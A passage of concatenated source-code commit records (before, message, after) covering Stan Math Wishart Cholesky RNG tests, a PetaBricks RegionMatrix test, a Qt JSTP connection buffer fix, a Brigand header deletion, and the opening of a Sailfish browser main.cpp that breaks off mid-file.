0; count < N; ++count) { a = wishart_cholesky_rng(5.0, stan::math::cholesky_decompose(sigma), rng); avg += stan::math::sum(stan::math::log(a.diagonal())); } avg /= N; double chi = (expect - avg) * (expect - avg) / expect; chi_squared mydist(1); EXPECT_TRUE(chi < quantile(complement(mydist, 1e-6))); } TEST(ProbDistributionsWishartCholesky, SpecialRNGTest) { // For any vector C != 0 // (C' * W * C) / (C' * S * C) // must be chi-square distributed with df = k // which has mean = k and variance = 2k using Eigen::MatrixXd; using Eigen::VectorXd; using Eigen::Matrix; using Eigen::Dynamic; using stan::math::wishart_cholesky_rng; using stan::math::multiply_lower_tri_self_transpose; boost::random::mt19937 rng(1234); MatrixXd sigma(3, 3); sigma << 9.0, 2.0, 2.0, 2.0, 4.0, 1.0, 2.0, 1.0, 3.0; Matrix<double, Dynamic, Dynamic> LS = sigma.llt().matrixL(); VectorXd C(3); C << 2, 1, 3; size_t N = 1e4; int k = 20; // tolerance for variance double tol = 0.2; std::vector<double> acum; acum.reserve(N); for (size_t i = 0; i < N; i++) acum.push_back((C.transpose() * multiply_lower_tri_self_transpose(wishart_cholesky_rng(k, LS, rng)) * C)(0) / (C.transpose() * sigma * C)(0)); EXPECT_NEAR(1, stan::math::mean(acum) / k, tol * tol); EXPECT_NEAR(1, stan::math::variance(acum) / (2 * k), tol); } <commit_msg>[Jenkins] auto-formatting by clang-format version 10.0.0-4ubuntu1<commit_after>#include <stan/math/prim.hpp> #include <test/unit/math/prim/util.hpp> #include <boost/random/mersenne_twister.hpp> #include <boost/math/distributions/chi_squared.hpp> #include <gtest/gtest.h> #include <stdexcept> #include <vector> TEST(ProbDistributionsWishartCholesky, rng) { using Eigen::Dynamic; using Eigen::Matrix; using Eigen::MatrixXd; using stan::math::wishart_cholesky_rng; boost::random::mt19937 rng; MatrixXd omega(3, 4); EXPECT_THROW(wishart_cholesky_rng(3.0, omega, rng), std::domain_error); MatrixXd sigma(3, 3); sigma << 9.0, -3.0, 0.0, -3.0, 4.0, 1.0, 0.0, 1.0, 3.0; Matrix<double, Dynamic, Dynamic> LS = sigma.llt().matrixL(); EXPECT_NO_THROW(wishart_cholesky_rng(3.0, LS, rng)); EXPECT_THROW(wishart_cholesky_rng(2, LS, rng), std::domain_error); EXPECT_THROW(wishart_cholesky_rng(-1, LS, rng), std::domain_error); LS(2, 2) = -1.0; EXPECT_THROW(wishart_cholesky_rng(3.0, LS, rng), std::domain_error); } TEST(ProbDistributionsWishartCholesky, rng_pos_def) { using Eigen::MatrixXd; using stan::math::wishart_cholesky_rng; boost::random::mt19937 rng; MatrixXd Sigma(2, 2); MatrixXd Sigma_non_pos_def(2, 2); Sigma << 1, 0, 0, 1; Sigma_non_pos_def << -1, 0, 0, 1; unsigned int dof = 5; EXPECT_NO_THROW(wishart_cholesky_rng(dof, Sigma, rng)); EXPECT_THROW(wishart_cholesky_rng(dof, Sigma_non_pos_def, rng), std::domain_error); } TEST(ProbDistributionsWishartCholesky, cholesky_factor_check) { using Eigen::MatrixXd; using stan::math::identity_matrix; using stan::math::wishart_cholesky_rng; using stan::math::wishart_rng; using stan::test::unit::expect_symmetric; using stan::test::unit::spd_rng; boost::random::mt19937 rng; for (int k = 1; k < 20; ++k) for (double nu = k - 0.9; nu < k + 10; ++nu) for (int n = 0; n < 10; ++n) expect_symmetric(stan::math::multiply_lower_tri_self_transpose( wishart_rng(nu, spd_rng(k, rng), rng))); } TEST(ProbDistributionsWishartCholesky, marginalTwoChiSquareGoodnessFitTest) { using boost::math::chi_squared; using boost::math::digamma; using Eigen::MatrixXd; using stan::math::determinant; using stan::math::wishart_cholesky_rng; using std::log; boost::random::mt19937 rng; MatrixXd sigma(3, 3); sigma << 9.0, -3.0, 2.0, -3.0, 4.0, 0.0, 2.0, 0.0, 3.0; int N = 10000; double avg = 0; double expect = sigma.rows() * log(2.0) + log(determinant(sigma)) + digamma(5.0 / 2.0) + digamma(4.0 / 2.0) + digamma(3.0 / 2.0); MatrixXd a(sigma.rows(), sigma.rows()); for (int count = 0; count < N; ++count) { a = wishart_cholesky_rng(5.0, stan::math::cholesky_decompose(sigma), rng); avg += stan::math::sum(stan::math::log(a.diagonal())); } avg /= N; double chi = (expect - avg) * (expect - avg) / expect; chi_squared mydist(1); EXPECT_TRUE(chi < quantile(complement(mydist, 1e-6))); } TEST(ProbDistributionsWishartCholesky, SpecialRNGTest) { // For any vector C != 0 // (C' * W * C) / (C' * S * C) // must be chi-square distributed with df = k // which has mean = k and variance = 2k using Eigen::Dynamic; using Eigen::Matrix; using Eigen::MatrixXd; using Eigen::VectorXd; using stan::math::multiply_lower_tri_self_transpose; using stan::math::wishart_cholesky_rng; boost::random::mt19937 rng(1234); MatrixXd sigma(3, 3); sigma << 9.0, 2.0, 2.0, 2.0, 4.0, 1.0, 2.0, 1.0, 3.0; Matrix<double, Dynamic, Dynamic> LS = sigma.llt().matrixL(); VectorXd C(3); C << 2, 1, 3; size_t N = 1e4; int k = 20; // tolerance for variance double tol = 0.2; std::vector<double> acum; acum.reserve(N); for (size_t i = 0; i < N; i++) acum.push_back( (C.transpose() * multiply_lower_tri_self_transpose(wishart_cholesky_rng(k, LS, rng)) * C)(0) / (C.transpose() * sigma * C)(0)); EXPECT_NEAR(1, stan::math::mean(acum) / k, tol * tol); EXPECT_NEAR(1, stan::math::variance(acum) / (2 * k), tol); } <|endoftext|>
<commit_before>/*************************************************************************** * Copyright (C) 2008-2009 Massachusetts Institute of Technology * * * * This source code is part of the PetaBricks project and currently only * * available internally within MIT. This code may not be distributed * * outside of MIT. At some point in the future we plan to release this * * code (most likely GPL) to the public. For more information, contact: * * Jason Ansel <jansel@csail.mit.edu> * * * * A full list of authors may be found in the file AUTHORS. * ***************************************************************************/ /* Expected Output before 0.61989714 after 5 RegionMatrix: SIZE 3 3 3 0.57373451 0.78742994 0.83810736 0.82796525 0.9570284 0.57473156 0.89288054 0.69676226 0.85378168 0.62908688 0.78765918 0.66108902 0.55227836 0.52076837 0.8645779 0.76824321 0.70897682 0.76634859 0.63232559 0.51486057 0.72048933 0.67815482 0.95152374 0.89198544 0.7460758 0.5407854 0.50022465 RegionMatrix: SIZE 2 2 2 0.52076837 0.8645779 0.70897682 0.76634859 0.95152374 0.89198544 0.5407854 0.50022465 RegionMatrix: SIZE 2 2 0.52076837 0.8645779 0.70897682 0.76634859 RegionMatrix: SIZE 2 0.70897682 0.76634859 RegionMatrix: SIZE 8 8 0.51854216 0.88132748 0.87581202 0.66178823 0.90139657 0.87427579 0.5830398 0.80057525 0.57769847 0.72969966 0.60477567 0.78044858 0.72820768 0.83076063 0.66295958 0.87960024 0.66378681 0.84961301 0.75242225 0.65033857 0.84922928 0.9473998 0.58257957 0.61900267 0.51322678 0.67779715 0.87807468 0.74676728 0.64339147 0.71112322 0.7486735 0.80284584 0.65738401 0.69654637 0.88110737 0.77238595 0.69494902 0.81906444 0.50619642 0.51079598 0.72267932 0.55740811 0.79522263 0.59645541 0.5740906 0.51489046 0.56381163 0.89474906 0.75152776 0.95023563 0.8121331 0.51715425 0.78915763 0.88933146 0.91866404 0.67899394 0.88821071 0.95012511 0.59838045 0.94296641 0.54733715 0.78508079 0.77526635 0.5405974 completed cell 5 cell 0.51854216 cell 0.92932013 cell 0.63057305 cell 0.57473156 cell 123 */ #include "petabricks.h" #include "regiondataraw.h" #include "regiondataremote.h" #include "regiondatasplit.h" #include "regionmatrix.h" #include "regionmatrixproxy.h" #include "remotehost.h" using namespace petabricks; PetabricksRuntime::Main* petabricksMainTransform(){ return NULL; } PetabricksRuntime::Main* petabricksFindTransform(const std::string& ){ return NULL; } int main(int argc, const char** argv){ const char* filename = "testdata/Helmholtz3DB1"; IndexT m0[] = {0,0,0}; IndexT m1[] = {1,1,1}; IndexT m123[] = {1,2,3}; IndexT m2[] = {2,2,2}; IndexT m3[] = {3,3,3}; IndexT m257[] = {2,5,7}; RemoteHostDB hdb; IndexT size[] = {8,9,8}; // // Create a RegionMatrix RegionMatrix3D regionMatrix(size); if(argc==1){ printf("main %d\n", getpid()); hdb.remotefork(NULL, argc, argv); hdb.accept(); hdb.spawnListenThread(); // Split the matrix in to multiple parts of size m2 regionMatrix.splitData(m2); // Assign a chunk of data to remote host // - put part 0 in hdb.host(0) // - the other parts are created locally regionMatrix.acquireRegionData(); regionMatrix.createDataPart(0, hdb.host(0)); regionMatrix.releaseRegionData(); // import data regionMatrix.importDataFromFile(filename); // or, allocate empty matrix // regionMatrix->allocData(); regionMatrix.acquireRegionData(); CellProxy& cell = regionMatrix.cell(m257); printf("before %4.8g\n", (double) cell); cell = 5; printf("after %4.8g\n", (double) cell); regionMatrix.releaseRegionData(); // Test split RegionMatrixPtr split3 = regionMatrix.splitRegion(m123, m3); RegionMatrixPtr split2 = split3->splitRegion(m1, m2); RegionMatrixPtr slice1 = split2->sliceRegion(2, 0); RegionMatrixPtr slice2 = slice1->sliceRegion(1, 1); split3->print(); split2->print(); slice1->print(); slice2->print(); // Test slice RegionMatrixPtr slice3 = regionMatrix.sliceRegion(1, 0); slice3->print(); /////////////////////////////////// // Create remote RegionMetrix // move to hdb.host(0) with UID=1 --> the receiver will wait for this UID regionMatrix.moveToRemoteHost(hdb.host(0), 1); printf("completed\n"); hdb.listenLoop(); return 0; } else { printf("main2 %d\n", getpid()); JASSERT(argc==3); hdb.connect(argv[1], jalib::StringToInt(argv[2])); hdb.spawnListenThread(); // Wait until receive a matrix with UID=1 regionMatrix.updateHandler(1); regionMatrix.acquireRegionData(); printf("cell %4.8g\n", regionMatrix.readCell(m257)); printf("cell %4.8g\n", regionMatrix.readCell(m0)); printf("cell %4.8g\n", regionMatrix.readCell(m1)); printf("cell %4.8g\n", regionMatrix.readCell(m2)); printf("cell %4.8g\n", regionMatrix.readCell(m3)); regionMatrix.writeCell(m257, 123); printf("cell %4.8g\n", regionMatrix.readCell(m257)); regionMatrix.releaseRegionData(); // Test split RegionMatrixPtr rsplit3 = regionMatrix.splitRegion(m123, m3); RegionMatrixPtr rsplit2 = rsplit3->splitRegion(m1, m2); RegionMatrixPtr rslice1 = rsplit2->sliceRegion(2, 0); RegionMatrixPtr rslice2 = rslice1->sliceRegion(1, 1); rsplit3->print(); rsplit2->print(); rslice1->print(); rslice2->print(); // Test slice RegionMatrixPtr rslice3 = regionMatrix.sliceRegion(1, 0); rslice3->print(); printf("completed2\n"); hdb.listenLoop(); return 0; } } <commit_msg>clean up regionmatrixtest<commit_after>/*************************************************************************** * Copyright (C) 2008-2009 Massachusetts Institute of Technology * * * * This source code is part of the PetaBricks project and currently only * * available internally within MIT. This code may not be distributed * * outside of MIT. At some point in the future we plan to release this * * code (most likely GPL) to the public. For more information, contact: * * Jason Ansel <jansel@csail.mit.edu> * * * * A full list of authors may be found in the file AUTHORS. * ***************************************************************************/ /* Expected Output before 0.61989714 after 5 RegionMatrix: SIZE 3 3 3 0.57373451 0.78742994 0.83810736 0.82796525 0.9570284 0.57473156 0.89288054 0.69676226 0.85378168 0.62908688 0.78765918 0.66108902 0.55227836 0.52076837 0.8645779 0.76824321 0.70897682 0.76634859 0.63232559 0.51486057 0.72048933 0.67815482 0.95152374 0.89198544 0.7460758 0.5407854 0.50022465 RegionMatrix: SIZE 2 2 2 0.52076837 0.8645779 0.70897682 0.76634859 0.95152374 0.89198544 0.5407854 0.50022465 RegionMatrix: SIZE 2 2 0.52076837 0.8645779 0.70897682 0.76634859 RegionMatrix: SIZE 2 0.70897682 0.76634859 RegionMatrix: SIZE 8 8 0.51854216 0.88132748 0.87581202 0.66178823 0.90139657 0.87427579 0.5830398 0.80057525 0.57769847 0.72969966 0.60477567 0.78044858 0.72820768 0.83076063 0.66295958 0.87960024 0.66378681 0.84961301 0.75242225 0.65033857 0.84922928 0.9473998 0.58257957 0.61900267 0.51322678 0.67779715 0.87807468 0.74676728 0.64339147 0.71112322 0.7486735 0.80284584 0.65738401 0.69654637 0.88110737 0.77238595 0.69494902 0.81906444 0.50619642 0.51079598 0.72267932 0.55740811 0.79522263 0.59645541 0.5740906 0.51489046 0.56381163 0.89474906 0.75152776 0.95023563 0.8121331 0.51715425 0.78915763 0.88933146 0.91866404 0.67899394 0.88821071 0.95012511 0.59838045 0.94296641 0.54733715 0.78508079 0.77526635 0.5405974 completed cell 5 cell 0.51854216 cell 0.92932013 cell 0.63057305 cell 0.57473156 cell 123 */ #include "petabricks.h" #include "regionmatrix.h" #include "remotehost.h" using namespace petabricks; PetabricksRuntime::Main* petabricksMainTransform(){ return NULL; } PetabricksRuntime::Main* petabricksFindTransform(const std::string& ){ return NULL; } int main(int argc, const char** argv){ const char* filename = "testdata/Helmholtz3DB1"; IndexT m0[] = {0,0,0}; IndexT m1[] = {1,1,1}; IndexT m123[] = {1,2,3}; IndexT m456[] = {4,5,6}; IndexT m2[] = {2,2,2}; IndexT m3[] = {3,3,3}; IndexT m257[] = {2,5,7}; RemoteHostDB hdb; IndexT size[] = {8,9,8}; // // Create a RegionMatrix RegionMatrix3D regionMatrix(size); if(argc==1){ printf("main %d\n", getpid()); hdb.remotefork(NULL, argc, argv); hdb.accept(); hdb.spawnListenThread(); // Split the matrix in to multiple parts of size m2 regionMatrix.splitData(m2); // Assign a chunk of data to remote host // - put part 0 in hdb.host(0) // - the other parts are created locally regionMatrix.acquireRegionData(); regionMatrix.createDataPart(0, hdb.host(0)); regionMatrix.releaseRegionData(); // import data regionMatrix.importDataFromFile(filename); // or, allocate empty matrix // regionMatrix->allocData(); regionMatrix.acquireRegionData(); CellProxy& cell = regionMatrix.cell(m257); printf("before %4.8g\n", (double) cell); cell = 5; printf("after %4.8g\n", (double) cell); regionMatrix.releaseRegionData(); // Test split RegionMatrix3D split3 = regionMatrix.region(m123, m456); RegionMatrix3D split2 = split3.region(m1, m3); RegionMatrix2D slice1 = split2.slice(2, 0); RegionMatrix1D slice2 = slice1.slice(1, 1); split3.print(); split2.print(); slice1.print(); slice2.print(); // Test slice RegionMatrix2D slice3 = regionMatrix.slice(1, 0); slice3.print(); /////////////////////////////////// // Create remote RegionMetrix // move to hdb.host(0) with UID=1 --> the receiver will wait for this UID regionMatrix.moveToRemoteHost(hdb.host(0), 1); printf("completed\n"); hdb.listenLoop(); return 0; } else { printf("main2 %d\n", getpid()); JASSERT(argc==3); hdb.connect(argv[1], jalib::StringToInt(argv[2])); hdb.spawnListenThread(); // Wait until receive a matrix with UID=1 regionMatrix.updateHandler(1); regionMatrix.acquireRegionData(); printf("cell %4.8g\n", (double) regionMatrix.cell(m257)); printf("cell %4.8g\n", (double) regionMatrix.cell(m0)); printf("cell %4.8g\n", (double) regionMatrix.cell(m1)); printf("cell %4.8g\n", (double) regionMatrix.cell(m2)); printf("cell %4.8g\n", (double) regionMatrix.cell(m3)); regionMatrix.cell(m257) = 123; printf("cell %4.8g\n", (double) regionMatrix.cell(m257)); regionMatrix.releaseRegionData(); // Test split RegionMatrix3D rsplit3 = regionMatrix.region(m123, m456); RegionMatrix3D rsplit2 = rsplit3.region(m1, m3); RegionMatrix2D rslice1 = rsplit2.slice(2, 0); RegionMatrix1D rslice2 = rslice1.slice(1, 1); rsplit3.print(); rsplit2.print(); rslice1.print(); rslice2.print(); // Test slice RegionMatrix2D rslice3 = regionMatrix.slice(1, 0); rslice3.print(); printf("completed2\n"); hdb.listenLoop(); return 0; } } <|endoftext|>
<commit_before>#include "connection.h" #include <QSslSocket> #include <QScriptValueIterator> namespace QJSTP { const QByteArray Connection::TERMINATOR = QByteArray::fromRawData("\0", 1); const QString Connection::HANDSHAKE = "handshake"; const QString Connection::CALL = "call"; const QString Connection::CALL_BACK = "callback"; const QString Connection::EVENT = "event"; const QString Connection::INSPECT = "inspect"; //const QString Connection::STATE = "state"; //const QString Connection::STREAM = "stream"; //const QString Connection::HEALTH = "health"; QByteArray getMessage(QString type, quint64 id); QByteArray getMessage(QString type, quint64 id, QString name); QByteArray getMessage(QString type, quint64 id, QScriptValue parameters); QByteArray getMessage(QString type, quint64 id, QString name, QScriptValue parameters); QByteArray getMessage(QString type, quint64 id, QString interface, QString method); Connection::Connection(QString address, quint16 port, bool useSSL) : callbacks() { if (useSSL) { socket = new QSslSocket(this); } else { socket = new QTcpSocket(this); } connect(socket, SIGNAL(connected()), this, SLOT(onConnected())); connect(socket, SIGNAL(readyRead()), this, SLOT(onData())); // connect(socket, SIGNAL(error(QAbstractSocket::SocketError)()), this, SLOT(onError(QAbstractSocket::SocketError))); connect(socket, SIGNAL(disconnected()), this, SLOT(onDisconnected())); socket->connectToHost(address, port); } void Connection::call(QString interface, QString method, QScriptValue parameters, handler callback) { } void Connection::callback(quint64 id, QScriptValue parameters) { } void Connection::event(QString interface, QString method, QScriptValue parameters, QList <handler> callbacks) { } void Connection::handshake(QString name, QScriptValue parameters, handler callback) { QByteArray message; if (parameters.isNull() || parameters.isUndefined()) { message = getMessage(HANDSHAKE, packageId, name); } else { message = getMessage(HANDSHAKE, packageId, name, parameters); } socket->write(message); callbacks.insert(packageId, { callback }); packageId++; } void Connection::inspect(QString interface, handler callback) { } void Connection::onHandshake(QScriptValue parameters) { } void Connection::onCall(QScriptValue parameters) { } void Connection::onCallback(QScriptValue parameters) { } void Connection::onEvent(QScriptValue parameters) { } void Connection::onInspect(QScriptValue parameters) { } void Connection::onConnected() { } void Connection::onData() { buffer.append(socket->readAll()); socket->flush(); int index = -1; while((index = buffer.indexOf(TERMINATOR)) > 0) { QByteArray message = buffer.mid(0, index); buffer.remove(0, index); QScriptValue package = Parser::parse(message); QString packageType; if (package.property(HANDSHAKE).isValid()) { onHandshake(package); packageType = HANDSHAKE; } else if (package.property(CALL).isValid()) { onCall(package); packageType = CALL; } else if (package.property(CALL_BACK).isValid()) { onCallback(package); packageType = CALL_BACK; } else if (package.property(EVENT).isValid()) { onEvent(package); packageType = EVENT; } else if (package.property(INSPECT).isValid()) { onInspect(package); packageType = INSPECT; } for (auto func : callbacks.value(package.property(packageType).property(0).toInt32())) { func(package); } } } void Connection::onDisconnected() { } void Connection::onError(QAbstractSocket::SocketError socketError) { } QByteArray getMessage(QString type, quint64 id) { QByteArray message = "{" + type.toUtf8() + ":[" + QString::number(id).toUtf8() + "]}" + Connection::TERMINATOR; return message; } QByteArray getMessage(QString type, quint64 id, QString name) { return QByteArray("{" + type.toUtf8() + ":[" + QString::number(id).toUtf8() + ",'" + name.toUtf8() + "']}" + Connection::TERMINATOR); } QByteArray getMessage(QString type, quint64 id, QString name, QScriptValue parameters) { return QByteArray("{" + type.toUtf8() + ":[" + QString::number(id).toUtf8() + ",'" + name.toUtf8() + "']," + Parser::stringify(parameters).toUtf8() + "}" + Connection::TERMINATOR); } QByteArray getMessage(QString type, quint64 id, QScriptValue parameters) { } QByteArray getMessage(QString type, quint64 id, QString interface, QString method) { } } <commit_msg>Fixed buffer cleaning<commit_after>#include "connection.h" #include <QSslSocket> #include <QScriptValueIterator> namespace QJSTP { const QByteArray Connection::TERMINATOR = QByteArray::fromRawData("\0", 1); const QString Connection::HANDSHAKE = "handshake"; const QString Connection::CALL = "call"; const QString Connection::CALL_BACK = "callback"; const QString Connection::EVENT = "event"; const QString Connection::INSPECT = "inspect"; //const QString Connection::STATE = "state"; //const QString Connection::STREAM = "stream"; //const QString Connection::HEALTH = "health"; QByteArray getMessage(QString type, quint64 id); QByteArray getMessage(QString type, quint64 id, QString name); QByteArray getMessage(QString type, quint64 id, QScriptValue parameters); QByteArray getMessage(QString type, quint64 id, QString name, QScriptValue parameters); QByteArray getMessage(QString type, quint64 id, QString interface, QString method); Connection::Connection(QString address, quint16 port, bool useSSL) : callbacks() { if (useSSL) { socket = new QSslSocket(this); } else { socket = new QTcpSocket(this); } connect(socket, SIGNAL(connected()), this, SLOT(onConnected())); connect(socket, SIGNAL(readyRead()), this, SLOT(onData())); // connect(socket, SIGNAL(error(QAbstractSocket::SocketError)()), this, SLOT(onError(QAbstractSocket::SocketError))); connect(socket, SIGNAL(disconnected()), this, SLOT(onDisconnected())); socket->connectToHost(address, port); } void Connection::call(QString interface, QString method, QScriptValue parameters, handler callback) { } void Connection::callback(quint64 id, QScriptValue parameters) { } void Connection::event(QString interface, QString method, QScriptValue parameters, QList <handler> callbacks) { } void Connection::handshake(QString name, QScriptValue parameters, handler callback) { QByteArray message; if (parameters.isNull() || parameters.isUndefined()) { message = getMessage(HANDSHAKE, packageId, name); } else { message = getMessage(HANDSHAKE, packageId, name, parameters); } socket->write(message); callbacks.insert(packageId, { callback }); packageId++; } void Connection::inspect(QString interface, handler callback) { } void Connection::onHandshake(QScriptValue parameters) { } void Connection::onCall(QScriptValue parameters) { } void Connection::onCallback(QScriptValue parameters) { } void Connection::onEvent(QScriptValue parameters) { } void Connection::onInspect(QScriptValue parameters) { } void Connection::onConnected() { } void Connection::onData() { buffer.append(socket->readAll()); socket->flush(); int index = -1; while((index = buffer.indexOf(TERMINATOR)) > 0) { QByteArray message = buffer.mid(0, index); buffer.remove(0, index + 1); QScriptValue package = Parser::parse(message); QString packageType; if (package.property(HANDSHAKE).isValid()) { onHandshake(package); packageType = HANDSHAKE; } else if (package.property(CALL).isValid()) { onCall(package); packageType = CALL; } else if (package.property(CALL_BACK).isValid()) { onCallback(package); packageType = CALL_BACK; } else if (package.property(EVENT).isValid()) { onEvent(package); packageType = EVENT; } else if (package.property(INSPECT).isValid()) { onInspect(package); packageType = INSPECT; } for (auto func : callbacks.value(package.property(packageType).property(0).toInt32())) { func(package); } } } void Connection::onDisconnected() { } void Connection::onError(QAbstractSocket::SocketError socketError) { } QByteArray getMessage(QString type, quint64 id) { QByteArray message = "{" + type.toUtf8() + ":[" + QString::number(id).toUtf8() + "]}" + Connection::TERMINATOR; return message; } QByteArray getMessage(QString type, quint64 id, QString name) { return QByteArray("{" + type.toUtf8() + ":[" + QString::number(id).toUtf8() + ",'" + name.toUtf8() + "']}" + Connection::TERMINATOR); } QByteArray getMessage(QString type, quint64 id, QString name, QScriptValue parameters) { return QByteArray("{" + type.toUtf8() + ":[" + QString::number(id).toUtf8() + ",'" + name.toUtf8() + "']," + Parser::stringify(parameters).toUtf8() + "}" + Connection::TERMINATOR); } QByteArray getMessage(QString type, quint64 id, QScriptValue parameters) { } QByteArray getMessage(QString type, quint64 id, QString interface, QString method) { } } <|endoftext|>
<commit_before>/*! @file @copyright Edouard Alligand and Joel Falcou 2015-2017 (See accompanying file LICENSE.md or copy at http://boost.org/LICENSE_1_0.txt) */ #ifndef BOOST_BRIGAND_FUNCTIONS_HPP #define BOOST_BRIGAND_FUNCTIONS_HPP #include <brigand/functions/arithmetic.hpp> #include <brigand/functions/bitwise.hpp> #include <brigand/functions/comparisons.hpp> #include <brigand/functions/eval_if.hpp> #include <brigand/functions/if.hpp> #include <brigand/functions/lambda.hpp> #include <brigand/functions/logical.hpp> #include <brigand/functions/misc.hpp> #endif <commit_msg>Delete functions.hpp<commit_after><|endoftext|>
<commit_before>/**************************************************************************** ** ** Copyright (C) 2013 Jolla Ltd. ** Contact: Vesa-Matti Hartikainen <vesa-matti.hartikainen@jollamobile.com> ** ****************************************************************************/ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this file, * You can obtain one at http://mozilla.org/MPL/2.0/. */ #include <QGuiApplication> #include <QQuickView> #include <qqmldebug.h> #include <QQmlContext> #include <QQmlEngine> #include <QtQml> #include <QTimer> #include <QTranslator> #include <QDir> #include <QScreen> #include <QDBusConnection> #include <QDBusMessage> #include <QDBusPendingCall> #include "qmozcontext.h" #include "declarativebookmarkmodel.h" #include "desktopbookmarkwriter.h" #include "declarativewebutils.h" #include "browserservice.h" #include "downloadmanager.h" #include "closeeventfilter.h" #include "persistenttabmodel.h" #include "privatetabmodel.h" #include "declarativehistorymodel.h" #include "declarativewebcontainer.h" #include "declarativewebpage.h" #include "declarativewebpagecreator.h" #include "declarativefileuploadmode.h" #include "declarativefileuploadfilter.h" #include "iconfetcher.h" #include "inputregion.h" #ifdef HAS_BOOSTER #include <MDeclarativeCache> #endif Q_DECL_EXPORT int main(int argc, char *argv[]) { setenv("USE_ASYNC", "1", 1); setenv("USE_NEMO_GSTREAMER", "1", 1); setenv("NO_LIMIT_ONE_GST_DECODER", "1", 1); // Workaround for https://bugzilla.mozilla.org/show_bug.cgi?id=929879 setenv("LC_NUMERIC", "C", 1); setlocale(LC_NUMERIC, "C"); QQuickWindow::setDefaultAlphaBuffer(true); if (!qgetenv("QML_DEBUGGING_ENABLED").isEmpty()) { QQmlDebuggingEnabler qmlDebuggingEnabler; } #ifdef HAS_BOOSTER QScopedPointer<QGuiApplication> app(MDeclarativeCache::qApplication(argc, argv)); QScopedPointer<QQuickView> view(MDeclarativeCache::qQuickView()); #else QScopedPointer<QGuiApplication> app(new QGuiApplication(argc, argv)); QScopedPointer<QQuickView> view(new QQuickView); #endif app->setQuitOnLastWindowClosed(false); // GRE_HOME must be set before QMozContext is initialized. // With invoker PWD is empty. QByteArray binaryPath = QCoreApplication::applicationDirPath().toLocal8Bit(); setenv("GRE_HOME", binaryPath.constData(), 1); // Don't set custom user agent string when the environment already contains CUSTOM_UA. if (qgetenv("CUSTOM_UA").isEmpty()) { setenv("CUSTOM_UA", "Mozilla/5.0 (Maemo; Linux; U; Jolla; Sailfish; Mobile; rv:31.0) Gecko/31.0 Firefox/31.0 SailfishBrowser/1.0", 1); } BrowserService *service = new BrowserService(app.data()); // Handle command line launch if (!service->registered()) { QDBusMessage message; if (app->arguments().contains("-dumpMemory")) { int index = app->arguments().indexOf("-dumpMemory"); QString fileName; if (index + 1 < app->arguments().size()) { fileName = app->arguments().at(index + 1); } message = QDBusMessage::createMethodCall(service->serviceName(), "/", service->serviceName(), "dumpMemoryInfo"); message.setArguments(QVariantList() << fileName); } else { message = QDBusMessage::createMethodCall(service->serviceName(), "/", service->serviceName(), "openUrl"); QStringList args; // Pass url argument if given if (app->arguments().count() > 1) { args << app->arguments().at(1); } message.setArguments(QVariantList() << args); } QDBusConnection::sessionBus().asyncCall(message); if (QCoreApplication::hasPendingEvents()) { QCoreApplication::processEvents(); } return 0; } BrowserUIService *uiService = new BrowserUIService(app.data()); QString translationPath("/usr/share/translations/"); QTranslator engineeringEnglish; engineeringEnglish.load("sailfish-browser_eng_en", translationPath); qApp->installTranslator(&engineeringEnglish); QTranslator translator; translator.load(QLocale(), "sailfish-browser", "-", translationPath); qApp->installTranslator(&translator); //% "Browser" view->setTitle(qtTrId("sailfish-browser-ap-name")); // Use QtQuick 2.1 for Sailfish.Browser imports qmlRegisterRevision<QQuickItem, 1>("Sailfish.Browser", 1, 0); qmlRegisterRevision<QWindow, 1>("Sailfish.Browser", 1, 0); qmlRegisterType<DeclarativeBookmarkModel>("Sailfish.Browser", 1, 0, "BookmarkModel"); qmlRegisterUncreatableType<DeclarativeTabModel>("Sailfish.Browser", 1, 0, "TabModel", "TabModel is abstract!"); qmlRegisterUncreatableType<PersistentTabModel>("Sailfish.Browser", 1, 0, "PersistentTabModel", ""); qmlRegisterUncreatableType<PrivateTabModel>("Sailfish.Browser", 1, 0, "PrivateTabModel", ""); qmlRegisterType<DeclarativeHistoryModel>("Sailfish.Browser", 1, 0, "HistoryModel"); qmlRegisterType<DeclarativeWebContainer>("Sailfish.Browser", 1, 0, "WebContainer"); qmlRegisterType<DeclarativeWebPage>("Sailfish.Browser", 1, 0, "WebPage"); qmlRegisterType<DeclarativeWebPageCreator>("Sailfish.Browser", 1, 0, "WebPageCreator"); qmlRegisterType<DeclarativeFileUploadMode>("Sailfish.Browser", 1, 0, "FileUploadMode"); qmlRegisterType<DeclarativeFileUploadFilter>("Sailfish.Browser", 1, 0, "FileUploadFilter"); qmlRegisterType<DesktopBookmarkWriter>("Sailfish.Browser", 1, 0, "DesktopBookmarkWriter"); qmlRegisterType<IconFetcher>("Sailfish.Browser", 1, 0, "IconFetcher"); qmlRegisterType<InputRegion>("Sailfish.Browser", 1, 0, "InputRegion"); QString componentPath(DEFAULT_COMPONENTS_PATH); QMozContext::GetInstance()->addComponentManifest(componentPath + QString("/components/EmbedLiteBinComponents.manifest")); QMozContext::GetInstance()->addComponentManifest(componentPath + QString("/components/EmbedLiteJSComponents.manifest")); QMozContext::GetInstance()->addComponentManifest(componentPath + QString("/chrome/EmbedLiteJSScripts.manifest")); QMozContext::GetInstance()->addComponentManifest(componentPath + QString("/chrome/EmbedLiteOverrides.manifest")); app->setApplicationName(QString("sailfish-browser")); app->setOrganizationName(QString("org.sailfishos")); DeclarativeWebUtils *utils = DeclarativeWebUtils::instance(); utils->connect(service, SIGNAL(openUrlRequested(QString)), utils, SIGNAL(openUrlRequested(QString))); utils->connect(service, SIGNAL(activateNewTabViewRequested()), utils, SIGNAL(activateNewTabViewRequested())); utils->connect(service, SIGNAL(dumpMemoryInfoRequested(QString)), utils, SLOT(handleDumpMemoryInfoRequest(QString))); utils->connect(uiService, SIGNAL(openUrlRequested(QString)), utils, SIGNAL(openUrlRequested(QString))); utils->connect(uiService, SIGNAL(activateNewTabViewRequested()), utils, SIGNAL(activateNewTabViewRequested())); utils->clearStartupCacheIfNeeded(); view->rootContext()->setContextProperty("WebUtils", utils); view->rootContext()->setContextProperty("MozContext", QMozContext::GetInstance()); view->rootContext()->setContextProperty("Settings", SettingManager::instance()); DownloadManager *dlMgr = DownloadManager::instance(); dlMgr->connect(service, SIGNAL(cancelTransferRequested(int)), dlMgr, SLOT(cancelTransfer(int))); dlMgr->connect(service, SIGNAL(restartTransferRequested(int)), dlMgr, SLOT(restartTransfer(int))); CloseEventFilter * clsEventFilter = new CloseEventFilter(dlMgr, app.data()); view->installEventFilter(clsEventFilter); QObject::connect(service, SIGNAL(openUrlRequested(QString)), clsEventFilter, SLOT(cancelStopApplication())); 